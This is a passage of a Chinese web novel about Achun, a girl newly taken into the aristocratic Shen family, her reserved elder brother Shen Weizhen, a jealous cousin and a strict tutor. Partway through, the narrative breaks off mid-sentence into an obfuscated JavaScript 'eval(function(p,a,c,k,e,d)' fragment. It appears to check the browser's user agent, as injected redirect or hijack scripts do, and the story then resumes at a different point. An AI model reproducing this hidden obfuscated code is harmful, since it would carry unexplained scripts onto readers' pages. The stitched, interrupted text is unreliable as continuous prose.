不是她小气，不分给这位章公子吃，实在是老祖宗总共只赏了六块，她贪吃，吃掉了两块，给娘亲送去两块，如今只剩下两块了。 她想都给哥哥吃。 荷露在吩咐侍女拿沈维桢的衣服去洗，一见到她，一愣，听闻是沈维桢让她等着的，立刻领她去了小厢房。 这边是沈维桢同几个弟弟常吃茶的地方，窗外有碧波小池塘，卷上竹帘，清风鸟语花香，甚为雅致。 阿椿喝掉两盏茶，等到沈维桢回来。 他神色并不好，见到她，顿了顿，一瞬冷下脸。 “外人在，你不该直接过去，”沈维桢说，“若有下次，你先来我院子等着，让荷露她们去叫我。” 阿椿小声：“我没看到他。” 沈维桢没听清：“什么？” “我没有看到他，”阿椿解释，“不知怎么回事，刚刚我只看到哥哥，根本没看到那位章公子。哥哥一说话，一提醒，我才看见……” 她有些委屈，又觉委屈得不对，不应该委屈——尽管没看见，但也是她的错。 可她明明只是想让哥哥尝尝好吃的糕点。 阿椿吸气吸气，想把难过都吞下去，低头。 “老祖宗送的糕点很好吃，统共六块，母亲吃了两块，我本想着，自己吃一块，剩下三块都给哥哥，但太好吃了，我没忍住，又吃了一块……” 越说，她越恼自己。 干嘛说这些呢？哥哥会不会觉得她贪吃、又小气？ 都怪她，沈维桢昨天送了她明瓦灯笼和斗篷，今天又送了明目丸，她还以为和哥哥关系在拉近了，原来是她自作多情。 好丢人。 可话已经说出来，就像水冲上了岸，怎么都止不住：“……现在只剩下两块了，哥哥若是不喜欢吃，我就走了。” 说完，阿椿伸手，将已打开的食盒盖好，拎着起身：“今日叨扰了哥哥，我——” 话没说完，沈维桢伸手，拦住她。 他心情复杂，一时竟不知该怎么说她。 不过是稍稍说了一句而已，她就回了十几句——看这委屈的模样，竟像他做了错事。 “我又没说不吃，”沈维桢声音缓和，“怎么动作这么快。” 阿椿仍低着头：“我眼睛有疾，可能这就是夫子说的眼疾手快吧。” 沈维桢纠正：“眼疾的疾，并不是那个意思。” 他伸手，从阿椿手中，将食盒拿走。 阿椿问：“那是什么意思？” 她一抬脸，沈维桢看到她的眼，果然刚才憋了眼泪，眼圈都红了，眼睛也亮，像大雨洗后的青瓦。 他无声一叹，莫可奈何。 “是想让静徽留下喝茶的意思，”沈维桢说，“坐下，我慢慢同你谈——我不训你，别哭了。” 6. 不可乱 阿椿听不太懂沈维桢在说什么。 他刚才还责备她不该见那个什么章公子，见她要走，不知怎么就改了口，突然又说没有怪她，不训她；紧接着，又开始说什么“不学礼无以立”，听的她脑袋都痛了。 沈维桢看她眼神越来越迷茫、越来越空洞，停下：“身体不适？” 阿椿指指脑袋：“这里不太适。” 她继续：“哥哥的声音很好听，我听不懂，可还想听，听了记不清，就用脑子去想，想着想着，头就开始痛了。” 沈士儒教她的东西，少到出乎沈维桢意料。 也罢。 父亲生前为教条所困，严苛了一辈子，或许因此才对她宽容。不让她学礼、也不读女诫，才有今日这般热切的举止。 沈维桢没有说多读书类的废话，问：“你今天的裙子颜色很美，是新做的衣服？” 阿椿笑，在沈维桢面前转了一圈：“是哥哥送我的布料，秋霜说这料子轻薄凉快，再不裁了穿，等入秋，就不好上身了——她这两天为我缝制的。听说这布料十分贵，谢谢哥哥如此用心。” 沈维桢应了一声。 忽生一丝惭怍，自她入府来，送去的这些布料，都非沈维桢所选。不过是吩咐了荷露去挑选，花样颜色材质，他都没有过目，并不曾上心。 阿椿却当作宝，如此感恩。 没等到哥哥说话，阿椿忐忑：“哥哥是不是嫌我读书少了？” “没有，”沈维桢说，“鱼与熊掌不可兼得，你天性质朴，已十分难得。” 阿椿不好意思：“谢谢哥哥夸我质朴，但我不敢吃熊掌，吃鱼就好了。” 沈维桢：“……” 中午，仁寿堂的春雨姑娘亲自往藏春坞送去了一份红烧黄河鲤鱼。 三房的沈湘玫正同母亲马夫人抱怨，嫌公中厨房采买的鱼虾不鲜，中午送来的河鲜豆腐汤味道不好，听到这个消息，惊住：“往藏春坞送？怕不是送错了吧？” 马夫人说：“傻姑娘，这个府上，谁都可能做错事，唯独你大哥哥院里不会。说不定是静徽丫头想吃，听说春雨姑娘手艺好，去求了老祖宗，老祖宗同你大哥哥说了，他才让人送去。” 在长辈这里，沈云娥母女的来历不是什么新鲜事，马夫人心里明镜似的，只是也不好同亲生女儿讲。 沈湘玫顿时不开心了。 沈府人丁不算多，大房唯独沈维桢一个长子，二房有三姑娘沈宗淑、四公子沈文焕和六姑娘沈琳瑛；三房则是二公子沈继昌、五姑娘沈湘玫，还有个才满六岁的七公子沈元杰。 家里面姑娘少，老祖宗年纪大了，更喜欢和她们这些活泼的女孩子在一起。沈静徽没来的时候，若是有什么好东西，都是三个姐妹们分；大哥哥沈维桢带来的珍品，也都是三位姑娘的。 沈静徽一入府，这个平衡就被打破了。 且不说她刚来时老祖宗送的布匹首饰，前天公中裁制新衣，按例，每个姑娘每月只能做两身，老祖宗却让沈静徽裁了六件，还不算搭配的披帛、围裳、腰带等。 府上统一采买的胭脂水粉不够细，姑娘们挑剔，大多另掏了银钱去买，今日上午，沈湘玫的胭脂用完了，差小厮去买，无意间得知，沈宗淑这些时日买东西都是买双份，给藏春坞送去一份——沈湘玫何曾得过三姐姐这样的关照？ 单单是这些倒也罢了，沈湘玫有母亲疼爱，她又爱美，马夫人常常拿体己钱为她裁新衣添首饰。 马夫人也劝慰沈湘玫，说沈静徽入府时所穿的衣裙都是补丁，老祖宗怜她连出门见客的衣服都没有，才多赏些；若要论起来，老祖宗肯定还是疼她这亲孙女多些呢。 沈湘玫好不容易才想开了，现在，家里面那个严肃冷漠的大哥哥，突然间给藏春坞送去了鱼汤，再想到老祖宗、沈宗淑……怎么不叫她生气。 “大哥哥上次送她的那个步摇，那么漂亮，比我和琳瑛及笄时的还要美，”沈湘玫委屈，自打知道沈静徽有那么一个山茶步摇后，她就再也不戴先前得到的那个山茶金簪了，气，“她不过是一个打秋风的，为什么要接进府来？不如给她们些银子，打发她们搬出去住——” “住口！”马夫人说，“这些话是能说的？” 沈湘玫自知失言，低头，有一下没一下地揪着手帕。 马夫人见不得女儿受委屈，将她搂进怀里：“我的儿，娘知道你心里委屈，但接静徽和她娘上京，是你老祖宗和伯娘的主意，以后切不可胡说。老祖宗疼爱静徽，那是她的造化，但你须记得一点，她永远不可能越过你们去。现下她得的东西多一些，也不过是你老祖宗可怜她罢了。” 沈湘玫闷闷不乐：“大哥哥怎么也对她好了。” 她都没吃过春雨炖的鱼呢。 “老祖宗要求罢了，”马夫人知道内情，不以为然，哄着女儿，“现在能看出什么？你大哥哥不缺银子，送她几件首饰也费不了多少事。你且看将来沈静徽出嫁，你大哥哥肯不肯给她添嫁妆、又愿意给她多少？傻姑娘，你们才是他正儿八经的妹妹，你大哥哥怎会偏疼她呢？” 沈湘玫擦了下眼睛，说：“大哥哥该不会是看上静徽了吧？” 马夫人惊骇：“你一个尚未出阁的姑娘，怎能说这种话？快闭上你的嘴。” 她四下看，打发了身边侍女出去，语重心长：“绝无可能。” 沈维桢和沈静徽，那可是—— “怎么不可能？”沈湘玫说，“您还记得静徽入府第二天吗？也是大哥哥和孟小姐相看的日子。大哥哥夸孟小姐穿天水碧很美，可我也见了孟小姐，她穿的并不是天水碧，而是铜青色的衣裙。那天，咱们家就没有别的女客，孟小姐带的侍女穿的都是杏色，只有静徽的裙子，是天水碧。” 天水碧的杭罗珍贵，颜色也适合夏季，沈湘玫爱美，那日不免多留意了一下。 她很羡慕沈静徽一进府就穿上了呢。 马夫人放下心，笑：“你大哥哥一心扑在学问上，房内一个人都没有，他哪里能分得清女子衣裙颜色。” 沈湘玫说：“可是大哥哥不是擅长丹青么？他怎会混淆颜色呢？那天晚上，大哥哥就又说不和孟小姐议亲了，您不觉得奇怪吗？是不是他向老祖宗请安时撞见了静徽，才知道认错人了？” “越说越糊涂了，”马夫人说，“静徽去老祖宗那边时，我们都在场，你大哥哥根本没见到她。” 沈湘玫想了想，是这么回事。 “那沈静徽一直住在我们府上，也不怕外人说闲话吗？”沈湘玫说，“家里面，二哥哥和四哥哥都到议亲的年龄了，静徽长得好看，难道老祖宗就不怕出什么岔子吗？” 马夫人笑着说不可能，心里却也打鼓——倒也未必。 她知道沈静徽的身世，沈维桢也知道，可二房三房的这些公子们未必清楚。 “这个家里，无论嫁娶，都还是要你大哥哥点头的，”马夫人半信半疑，“沈静徽一定会嫁出去。” “她只是咱们的远房表亲，说句难听的话，和我们本就没什么血缘关系，万一呢？”沈湘玫说，“上次二哥哥从书院回家，还特意问了我呢，问静徽妹妹有没有什么想要的玩意，告诉他，他回家时一并捎了来。” 这话其实冤枉二哥哥沈继昌了，当日他原话是“六妹妹和静徽妹妹可有什么想要的东西”，沈湘玫疑心重，自动忽略了六妹妹。 在她眼中，她和沈宗淑、沈琳瑛才是正儿八经的妹妹，沈府的姑娘，沈静徽怎能和她们平起平坐。 马夫人坐不住了。 她耳根子软，又溺爱女儿，平时沈湘玫说什么，她都照着去做，无有不信的。况且，她的那个儿子本身在学问上就不用功，现在家里又多了个如花似玉的“妹妹”，正是年少气盛时，倘若……倘若…… 现在这番话，让马夫人心里咯噔一下，嘴上仍说：“别胡说，若传到外人耳朵里，你的名声还要不要了？” 话虽如此，今日午睡，马夫人眼睛彻底合不拢了。 好不容易等到老祖宗午睡结束，马夫人急匆匆地过去请安，也不敢提沈静徽的事，委婉地问起儿子沈继昌将来的婚事。 老祖宗惊诧：“先前不是说，等他科考后再议亲么？” 马夫人欲言又止，最后东拉西扯了一通，又默默地回去了。 徒生一肚子闷气，想，老祖宗和李夫人若不将那个沈静徽接来府上就好了，否则，她何故这般生气？ 晚上，沈维桢请安时，听老祖宗提了这件事。 他说：“我前些时日刚和继昌他们谈过，男儿当以立业为重，业立方可成家，婚事不必操之过急，他们无不赞同。” “你二婶母沉不住气，耳根子软，不知道谁又同她说了什么，才叫她东想西想，”老祖宗叹，“不怪她，毕竟是小门小户来的，见识短；稍有想岔的，也不打紧。” 马夫人的出身不高，父亲如今也不过从六品，是二老爷当初跪求老祖宗做主给他娶进门的。这些年闹出不少笑话，虽不算什么大事，但老祖宗拿定主意，今后孙辈的嫁娶，都要慎重择选，不求多么富贵权势，也不可身家相差太大。 不是嫌贫爱富，而是见识、性格上都不相匹配。 成家可不是两个人的事情，两个家族都要磨合。 说到这里，老祖宗又问：“倒是你，你若不成亲，下面这些弟弟妹妹们也不好议；宗淑是从小定下的，在你前头成亲也就罢了。你且同祖母说说，究竟想要什么样的女子？上次的孟小姐，你怎么又不同意了？” 沈维桢发现今天案上供了竹叶青的瓷瓶，内插了两枝半开的荷花。 难怪他从进门就闻到莲香。 他稍稍安定，说：“女子相貌并不重要，要紧的是才学好，端庄识礼。” 这话并不新鲜，很早之前，李夫人和老祖宗就问沈维桢，他也是这番说辞。 沈维桢十九岁就中了解元，文采斐然，对内，自沈士儒过世后，二房三房性格软弱，很多事情都是他出面办的，他看重家族，自然也想要个饱读诗书、品德端方的妻子。 老祖宗追问：“难道孟小姐也不够么？” 论起才学礼节，京城之中，恐怕少有胜过孟小姐的。 “我现下专心春闱，又哪里有时间议亲？”沈维桢说，“等我科考过后再讨论此事吧。老祖宗平时若有属意的，也请等春闱后再说。” 老祖宗拿他毫无办法。 “算下来，湘玫，琳瑛，还有静徽，年纪也到了。” 老祖宗怎能不懂马夫人下午的意思，她认为简直是杞人忧天、无稽之谈，她的这些孙儿都很好，不是贪图美貌的人；静徽也是个好孩子，礼仪差了些，但心肠好，很规矩，家里绝不会闹出那等丑闻来。 她叮嘱：“我不担心湘玫和琳瑛，只是静徽的婚事，你需好好斟酌，若有那寒门 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送金银珠宝都不稀罕，大爷并不缺钱，随手打赏而已，礼物都由下人们准备，于他不过一句话的事。这般用心送些对症的药品吃食，还允许表姑娘来院中小厨房——十分难得。 是以，荷露自然敬重静徽。她与秋霜交好，藏春坞那边若有风吹草动，这边都知道得清清楚楚。 包括今天表姑娘被打手心。 今日下午，为沈静徽请来的女夫子进府了，这件事，沈维桢知道。 对外称老祖宗选的，实际上，人选是沈维桢敲定的。 沈维桢侧身：“谁打的她？” “是夫子，”荷露说，“夫子考验姑娘功课，抽《论语》一则，姑娘不会背，被打了手心。” 沈维桢皱眉：“胡闹，她先前从未学过，又怎能会背诵？” “夫子说，她提前言明，今日要考察，姑娘就该提前学习功课，”荷露低声，“今日姑娘没有背出，往小了说，是没将夫子的话放在心上，往大了谈，就是不够尊师重道——所以打了三下，要让姑娘记得这教训。” 三下手板，倒也不算多。 读书写字，少有没挨过板子的。 只是不知她会不会又哭。 眼前又浮现出那双雨后青瓦般湿润的眼。 沈维桢一直恼那日莲池的错认，幸好并未有外人知晓，否则惊天丑闻如何收场；出于隐秘的愧疚，他才多给静徽送些东西，以做补偿。 调理了一个月，好不容易将静徽当作亲妹妹看待了，这几天她频频跑来，又令他头痛。 不如听了老祖宗的话，早早选定人家，将静徽嫁出去，快刀斩乱麻，不看见她，自然不会乱。 荷露替阿椿说好话：“其实姑娘很用功呢，今日挨了手板，用过晚饭后，一直在看书呢。” 沈维桢嗯一声，心想睦和堂那边一定会送药——不过老祖宗刚才没提这事，只提了婚事。 他叫住荷露：“这件事，是秋霜告诉你的？” 荷露说是。 沈维桢说：“小女孩爱惜脸面，挨手板不光彩，她未必想让人知道。你去库房寻些跌打损伤的药膏，偷偷地给表姑娘送去——别让她知道，你悄悄地送给秋霜就好。” 他可不想让沈静徽又来感恩戴德地谢他。 容易乱。 荷露提醒：“大爷，上次下雨，已经送过表姑娘药了，这次还要再送吗？” 沈维桢记起来了。 果然乱了，事情乱套了，他的记忆也乱了。 “那就多送些蜡烛，”沈维桢说，“只送白蜡的，之前苏州送来的那些就不错，气味小，烟气轻，表姑娘眼睛不好——” 他蓦然停下，觉不该说这么多。何必说这些。 荷露发现大爷脸色一下沉了。 她搞不清楚状况，不敢出声，只静静听。 “先把蜡烛送去，”沈维桢直接说，“以后再遇到此类事，你看着办便好。我心在春闱，恐怕顾不上表姑娘。她若是缺什么、喜欢什么，你都拿了送去藏春坞；院中若没有，就遣人买了送她。今后，和表姑娘有关的，一并走我的账，不必再来请示——你也不必知会我。” 荷露呆在原地，惊住了。 ——要是表姑娘想要天上的星星，大爷您也要花钱请人摘给她么？ 她琢磨不透沈维桢的意思。 这是想对表姑娘好，却又不愿和表姑娘太过亲近？ 做侍女的，揣度主子心意是必要本领，但过于揣度却又不妙了。 荷露说是，恭敬退下。 沈维桢去了书房，连写几副字都不满意，揉成团，丢弃一旁。 直起腰，沈维桢仰首，刚好看墙上悬挂的一副字。 「秩秩斯干，幽幽南山；如竹苞矣，如松茂矣」 这是仁寿堂刚落成时，沈士儒亲笔写的字，取自于《诗经》。 这一篇原是赞颂周王新建宫殿落成，祝祷子孙繁盛、家庭祥和、世代兴旺。 沈士儒亲笔写下，是勉励他看重家人、兄友弟恭、家族兴盛。 将用过的毛笔放入笔洗之中，沈维桢看清水被漆黑墨汁一点点晕染、散开，像丝绸、像柳絮，纠缠一团，如不散的冤魂。 即将秋社，盛夏已过，荷花将败谢，不会再有那恼人的、纠缠不休的香气。 他沉沉地想，将她嫁出去，就不会再乱了。 7.秋社 不想学习了。 阿椿不想学习了。 老祖宗有言在先，秋社后，姐妹们都要去上课，她也不例外。 请来的女夫子名唤向云，号远山居士，著有诗集《群山玉云集》，所赋诗词多为名人雅士所称颂，太子太傅都曾夸过她的词“风骨孤傲、不拘一格”。 京城中，常有人家邀请向云为自家女儿授课教习；来沈府之前，她在威宁伯爵府上为两位姑娘开蒙。 向云教学严苛，更是给阿椿布置了一大堆任务。距离秋社时间不多了，先通读《论语》《孟子》《中庸》《诗经》《尚书》这五本，夫子要求她全部背诵，见阿椿实在记不住，便重点挑了些出来，要求必须在秋社前背完。 阿椿愁的都瘦了。 瘦也要背，她知道，秋社后，一旦去了女学，还是这样稀里糊涂的，会给侯府丢脸。不单单她一个人丢脸，娘亲，老祖宗，哥哥，秋霜，姐妹们，其余兄弟们……沈府的脸都会被她丢光光。 老祖宗说了，沈府的孩子个个爱读书，精于读书。 要争气。 阿椿暗暗地想。 遗憾，争气和记忆无关。 不仅如此，向云对她那手字也是摇头叹气，要求她多抄写多练，别的不说，不到七天，阿椿已经将《论语》抄了两遍。有次手掌心被板子打肿了，秋霜找来细软的纱布给她缠上，握着笔继续写。 阿椿后悔小时候没有好好念书了。 她的识字启蒙老师是沈士儒，学《三字经》《千字文》这两本。知道她馋，好玩，沈士儒就教她，全部会念了就去集市上买好吃的，会写完这些字，就放你上树摘荔枝。 那都是很久前的事情了。 现在的阿椿，困的睁不开眼睛，手掌心肿起一片，硬撑着继续誊抄。 秋霜替阿椿打抱不平：“姑娘的字已经很不错了，比我写的可好看多了；姑娘又不去科考，为什么还要练？” “和你我相比是好，可和其他公子小姐比呢？”春雨说，“大爷对姑娘寄予厚望，又岂是你我能相比较的？——端好了，仔细别撒了，现如今还烫，放一放，等会儿放温了，再端给沈夫人喝。” 这些天，天还不亮，阿椿就起床学习；等天黑透，才能休息。除却每日向老祖宗请安外，她几乎不出藏春坞，晚上还要温习功课、练字，自然没时间去厨房。 现在这些滋补汤，都是阿椿给的方子，春雨在仁寿堂熬煮好了，再送过来。 秋霜小声问：“大爷不喝吗？” “大爷不爱喝南梧州风味的汤，”春雨低声，“莫让表姑娘知道，免得她伤心。” 秋霜点头：“知道了。” 如今，秋霜已经是藏春坞中最有话语权的侍女，院里的东西登记造册，再到阿椿和沈云娥的衣食住行，都由她打理得妥妥帖帖。老祖宗偶尔也会问一问话，叮嘱秋霜服侍好阿椿，将来阿椿若有好前程，也少不了秋霜的好处。 秋霜今年十八岁，她认为，只要阿椿和大爷关系好，前途必然差不了。阿椿偶尔得了什么新鲜玩意，她也在旁提点着，要往仁寿堂那边送一送。 现如今，阿椿忙着补课、沈维桢在书院读书，两人几乎不见面，但有秋霜在中传递，两个院子的往来也没有断过。 眨眼间，秋社到了。 立秋后的第五个戊日，是为秋社，要祭祀土地神。这一天，上至天子，下至百姓，家家户户都要祭祀。皇宫大内，起礼祝祷，彩衣歌舞，乡村里同样搭台唱社戏，杀猪酬谢土地，如沈府一般的人家，也要摆家宴，放鞭炮，做社饭，请戏子来唱戏。 阿椿放了一天假，向云允她休息一日，不必上课。 沈府不豢养戏子，这些演唱班子都是从外面请来的，演杂剧，耍杂技，说晚上还有傀儡戏，姑娘们看得津津有味，阿椿悄悄问沈宗淑：“三姐姐，怎么不见大哥哥？他不爱听戏吗？” “书院里办社会，大哥哥去那边操持了，”沈宗淑笑，“难为你想着他，等到晚上，他就该回来了。” 阿椿应一声，有些失落。 今天这样好的杂剧，大哥哥却看不到。 也不知道书院那边的社会好不好看，有没有也请人演戏唱曲。 戏要通宵达旦地演，晚上还有傀儡戏和皮影。 正午时分，沈府出嫁的两位姑母回来了，四姑母和善亲切，给每个姑娘公子都带了一份礼，包括阿椿；五姑母迷迷糊糊，见到阿椿后才意识到漏下一份，立刻拔下头上玉簪，亲自簪到阿椿发上，连声说都怪侍女忘拿了，回去定然重重责罚。 这本是件小事，阿椿不曾往心中去。 吃过午饭，二公子沈继昌差侍女过来，将五姑母送他的那份节礼送到藏春坞中，说自己长大了，这些新鲜小玩意还是送给表妹玩赏。 阿椿感激，不知回报什么好，恰好手边有个新做的荷包，便做了回礼。 兄妹之间，这很正常。 偏偏马夫人正疑神疑鬼，一听侍女悄悄来报，即刻坐不住了。若沈静徽真是个远房表妹，沈继昌喜欢她，纳为妾也没什么；偏偏……偏偏…… “真是可恨，长那么漂亮做什么！” 马夫人烦躁极了，此话又不敢同人说，担心是自己多想，平白坏了兄妹的名声和情谊，急到恨不得在房间里踏出个坑来把自己埋进去，绕来绕去，终于拍脑袋想到一个主意。 这些天，她求二老爷也上心，替沈静徽找个不错的夫婿嫁出去，不就没事了？反正沈静徽是表亲，在姐妹们前面出嫁也没什么。 她是风风火火急性子，立刻就同二老爷说；彼时二老爷正看沈湘玫的字，随口回。 “静徽的婚事用不到你我操心，老祖宗已经在看了，说会为阿椿选一个品学兼优的举子，说要人品贵重，即使家境清寒些也没什么。” 八字还没一撇的事情，沈湘玫听到，却觉沈静徽不日就能出嫁，不会再分走老祖宗的疼爱和大哥哥的礼物，高兴到不知如何是好，晚上再相见时，心情也变好了。 阿椿不知道沈湘玫在高兴什么，她只知道自己在这府上不能冒头，得了好首饰也都收起来，力求穿戴和其他姑娘差不多，不可招摇。 今日她就穿了条普通的淡桃粉的裙子，上个月裁衣服时，其他姐妹都觉得这颜色太素，也无暗纹，于是阿椿主动要了这块料子。 沈湘玫当时也嫌弃布料素淡，谁知今日阿椿上身，素淡便成了淡雅。再细看，她腰间坠着一枚禁步，是红玛瑙雕刻的一串小柿子，正是今日五姑母送来的节礼。 她亲生的二哥哥却送给了阿椿。 放在以往，这些都是二哥哥送给她的。 心情不好，沈湘玫主动笑着提阿椿送沈继昌的那枚荷包，夸赞她进步大、绣的不错。 阿椿羞愧地说还好。 她知道自己手艺不精。 “只怕秋社后，静徽妹妹要开始绣嫁妆了，”沈湘玫小声，“老祖宗已经开始为你相看了呢，听说要择一寒门贵子呢。” 阿椿愣住。 她想，寒门贵子？ 那可不行。 母亲今后吃药的钱该怎么办呢？ …… 书院里的社会办得热热闹闹，很晚才散，沈维桢骑马回府时，早已过了亥时，夜深人静，他饮了酒，毫无困意，让叶青他们都先去休息，自己走走、转转。 这一走，不知不觉，就走到了莲池旁。 和别的府上不同，沈府的这方莲池是天然的，当初建府时就将莲池圈在院中，略作修饰；此后院子虽有三次扩建，莲池周遭始终未动。据闻，池底有活泉，有这源源不断的清水滋润着，才有这样好的莲花。 幼时沈维桢想验证此言真假，曾跳下去寻找，却被水草淤泥所困，险些死在里面，还是沈士儒不顾阻拦、立刻跳下去将他捞起。 莲池依然，菡萏凋谢，父亲也不在了。 沈维桢缓步绕过假山，今日社戏热闹，盛宴过后，不免有孤独凄凉之感。 思绪万千间，忽听一声啜泣。 声音虽轻，夜晚更静，静到遮不住落花声。 脚步停了一下，他继续往前走，就像没听到。 假山算不上大，但高，孔洞多，四面八方的秋风刁蛮地钻进去，细微的声音又四面八方地钻出来。 沈维桢加快步伐，头也不回，径直往前走，终于走过假山，再穿—— 嘭。 一枚熟透的柿子从前方枝头掉落，重重地跌在沈维桢面前的石板路上。 柿子粉身碎骨，软烂不堪，唯余一苍绿的果柄，完好无损，浓翠如烈日下的竹林。 沈维桢停住。 静思后，他转身，循着哭声，往假山深处寻。 离得近了，渐渐嗅到烧纸的味道，沈维桢皱眉，俯身低头，避开石头，弯腰继续向前。 沈维桢身材高大，小时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“爹还在的时候，每逢秋社，他都会给我做社糕和枣子吃，说是京城的习俗；今天是我第一次吃京城的社糕——”阿椿说不下去了，手指不安地抠着石头上的孔洞，吸口气，“哥哥，我想爹了。” 沈维桢不言语。 阿椿口中的“爹”，于他而言是陌生的。 沈维桢记忆中的那个父亲，少年便中探花郎，意气风发，对孩子要求严厉、一丝不苟；而阿椿所了解的那个“爹”，屡遭贬谪，对官场心灰意冷，纵情山水，娇惯她撒野玩闹。 “你若想祭奠，可以去祠堂中，”沈维桢说，“父亲的牌位就在上面。” 阿椿说：“我的字不好，会的学问也少，若去那边烧纸，怕爹被祖宗笑话，更怕先祖责备爹不会教女儿。” “见你心意诚恳，他们喜欢还来不及，又怎会责备，”沈维桢示意，“过来，别被火燎了裙子。” 阿椿犹豫一下，她现在穿的绣鞋底子软，似乎不能踩火；这里光线暗淡，她眼睛本就不好，现在更看不清沈维桢的脸，不知道哥哥的表情，但听声音，他并不生气。 她慢慢地靠近沈维桢：“哥哥，我会好好读书学习的，也会认真练字。过几日去女学，我也会努力，争取上进，坚决不做那坏了一锅汤的老鼠屎。” “胡说，”沈维桢斥责，“哪里有这样说自己的？你若是老鼠屎，我是什么？老鼠屎的哥哥？” 阿椿立刻说：“哥哥你是一锅好汤。” 沈维桢不知说她笨还是机灵了。 说笨吧，句句都能辩得上；可若说机灵，几个句子要翻来覆去背一下午，时常挨夫子的手板。 “以后不要说这种话，”沈维桢说，“你是侯府的姑娘，要有规矩、知礼节。” “又没有其他人，”阿椿说，“哥哥会嫌弃我言语粗鄙吗？” “不会。” “那——” “君子慎独，”沈维桢说，“我怎么想，和你言行并无关系。即使我今日不在这里，你也不该说老鼠……汤之类的话。” 阿椿说：“哥哥是君子，我又不是君子。” 沈维桢说：“你是淑女。” “淑女？”阿椿想了一下，突然记起向云的教导，问，“是‘窈窕淑女，君子好逑’的那个淑女吗？” 8.共犯 沈维桢斥责：“又胡说。” 阿椿迷茫：“不是吗？难道我又背错了？” “词没错，但不能形容你我。” “为什么？” 沈维桢看着她。 若阿椿和父亲一样，现在这种光线，她应该根本看不清他的脸；黑暗中，她就是个可怜的小瞎子，偏又不是什么都看不到，只能本能地循着声音；越是这样，她越想要努力去看清，因而睁大了眼睛，却无法聚光，黑漆漆的，很可怜。 她不单单在夜晚看不清，这些诗词她也看不清。 “《诗经》三体，《风》、《雅》、《颂》，《风》为民间歌谣，唱男女情爱，劳动风俗，”沈维桢说，“你所说的《关雎》一诗，是男子想追求女子唱的情诗。你我是兄妹，岂能拿它来比喻。” 阿椿压根没想到这一点，她连诗都读不懂，听哥哥这样说，被吓住了，慌忙：“我不知道。” 沈维桢说：“我知道你不知道。” 又问：“你的夫子没为你讲这些？” 不应该。 汪辰鸣打包票，说向云教学甚笃，力荐此人。 “夫子说，读书百遍，其义自现，”阿椿怕哥哥嫌弃自己笨，底气不足，“我先前从未读过这些书，夫子说时间紧迫，先让我读一读，等去了女学，别人提起时，好歹能知道些。” 秋社已过，她这样去女学，恐怕也难跟得上。 不是不努力，实在是先前落下太多，一口吃不成个胖子。 沈维桢怜悯她了。 太可怜了，怎么会如此可怜。 “只是通读，倒也不必先急着解其意，”他教，“只是你想背诵，还是需通晓文章含义，事半功倍。死记硬背，难怪你背得缓慢。” 阿椿问：“哥哥有什么背诵的技巧吗？” “技巧倒谈不上，”沈维桢说，“无论文章诗词，理解先行，体会到作者的情感与思想，会轻松许多。” 说到这里，一股冷风打着旋儿钻进来，阿椿重重打了个喷嚏——她背过身，没有对着沈维桢，用手帕捂着嘴。 这大约是她今晚最淑女的一次了。 他想。 沈维桢说：“这里冷，你跟我出去，换个地方谈。” 早已入了秋，他是男子，常常晨起打拳习剑，身体强悍；阿椿这些天被拘束在院子里读书，恐怕连活动的空隙都没有，吹冷风更易受寒。 阿椿说好，蹲下身去拎那盏明瓦灯。 沈维桢发现她的眼睛比自己设想中还要糟糕，她完全无法精准地握到灯笼，手在空地上抓了两下，才握住，局促起身。 阿椿也意识到了。 她小时候并不为此难过，以为人人都这样，直到发现其他人夜间也能视物后，才觉晴天霹雳，狠狠痛哭了一场。 后来沈士儒安慰她，说自己也有这个毛病，知道很多人也这样，她并不是孤独的异类，还说夜间眼睛看不清也没什么，不妨碍他做事—— 道理都清楚，阿椿还是不想在沈维桢面前做半个瞎子，打着明瓦灯笼：“哥哥，请。” 她想让沈维桢先走。 因为阿椿看不到洞口，是一路跟着风才摸到这个秘密小天地。假山隐蔽，其中石头嶙峋，脚下并不平稳，沈维桢刚刚夸了她是淑女，她并不想让沈维桢发现她像个熊瞎子般、很丢脸地摸索着出去。 沈维桢伸出手：“你可搭我的手臂。” 阿椿说声好，手试探着在空中挥了下，觉触感不对。 她犹豫：“这是……” 沈维桢平静地说：“此为你兄长胸膛。” 阿椿忙说得罪，摸了摸，好不容易摸到胳膊，搭上。 京城中规矩太多了，阿椿想，如果是在南梧州，他可以直接拉着她的手出去。 而不是这样。 其实她不喜欢规矩。 可哥哥要守规矩。 沈维桢一路提醒着抬腿低头别乱动，好不容易才将阿椿完整地带出假山。她那些没烧完的纸张，被沈维桢攥在手中，一路往府上的听雪轩去。 把阿椿需背诵的那些挑出来，沈维桢一边防着她跌倒，一边为她讲解其中含义。 阿椿努力听。 哥哥讲课的确要比爹要好多了，爹脾气很好，但当她反复写不出时，就会伤心生气，气到极点还会以头撞墙，似乎十分痛苦。 哥哥忍耐力好太多了，她若有听不懂的，问出来，他都能耐心解释，还会给她讲些其他有趣的历史杂事，以便她记忆。 听雪轩建在莲池另一侧，同假山相对，周围多植腊梅，为冬日观雪所建。除冬季，平时少有人去，也无小厮侍女值守。 沈维桢知，虽是兄妹，也不该这般深夜单独相见。可若是放着不管，等入了女学，阿椿那双手只怕会被打到连筷子都拿不起。 老祖宗该心疼了。 到了听雪轩，阿椿拎着灯笼，正四下找蜡烛，被沈维桢叫住：“别点。” 阿椿疑惑：“为什么？” 她看不清，在黑暗中会不安。 这盏明瓦灯不够亮。 “你若点了蜡烛，此处有烛火，定会引来值夜的奴仆，”沈维桢说，“你我这般，于礼不合。” 阿椿哦一声。 她不能理解这个“礼”，但知道，这是沈维桢很看重的东西。 虽少有人至，也有负责清扫的婢女，听雪轩内干干净净，倒不必再费心整理。见阿椿毫无睡意，沈维桢便耐心将余下几篇也讲了。 顺便传授她几个“技巧”，要捂着耳朵大声读，记忆更深刻；若遇到长的文章、诗词，先大声诵读一遍，念字词速度要慢，不可急躁，如此反复三五次后，用笔圈出重要的词语，解析其意，等通晓意思后，再闭眼试着背诵，把背不出、印象浅的句子划出来，着重记忆，直至能背诵全文。 沈维桢补充：“睡前和刚醒来时头脑最好，你可诵读一炷香时间，记得更牢靠。” 